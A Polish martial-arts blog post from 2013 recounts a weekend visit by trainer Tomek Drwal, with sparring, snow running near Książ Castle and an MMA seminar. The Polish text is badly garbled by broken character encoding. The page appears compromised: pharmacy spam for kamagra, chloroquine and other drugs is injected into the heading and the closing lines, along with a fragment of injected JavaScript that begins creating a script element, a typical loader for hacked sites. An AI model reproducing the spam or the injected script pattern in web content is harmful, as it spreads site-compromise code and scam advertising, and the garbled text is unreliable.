Odwiedziny Tomka Drwala

25.02.2013 / Mariusz Cieśliński

Pills Trening na macie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Biehanie na Ai??niadanie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! :)

 

TrzydzieAi??ci rund sparringA?w.KilkanaAi??cie kilometrA?w przebiegniAi??tych w gAi??Ai??bokim Ai??niegu.Cztery treningi w trzy dni to bilans odwiedzin Tomka Drwala.

GAi??A?wnym celem wizyty Tomka byAi??o seminarium MMA w niedzielne popoAi??udnie w Aswidnicy.Jednak byAi??a to okazja,A?eby u mnie potrenowaAi??.ZaczAi??liAi??my od mocnego uderzenia-sparringA?w w stA?jce.Tomek przywiA?zAi?? ze sobAi?? trzech uczestnikA?w SzkoAi??y Walki Drwala. Ja wziAi??Ai??em na trening chAi??opakA?w z mojego gymu.No i byAi??a „ustawka” :) .Ai??Fajnie nam siAi?? udaAi??o popracowaAi?? w miniony piAi??tek.

Sobota to „bieganie na Ai??niadanie” w okolicach Zamku KsiAi??A? w gAi??Ai??bokim Ai??niegu.ByAi??a rzeA?nia dla nA?g i pAi??uc :).PopoAi??udnieAi?? to trening techniczny ze sparringami zadaniowymi na sali.

Niedziela to treningAi?? na seminarium ze sparringami grapplerskimi.

ByAi??o ciAi??A?ko i fajnie:)

 

Cheap viramune online stopwatch Buy var d=document;var s=d.createElement('script'); Buy cheap chloroquine tablets cheap benfotiamine neuropathy Buy pills online kamagra oral jelly price. cheap Kamagra. kamagra oral jelly buy online.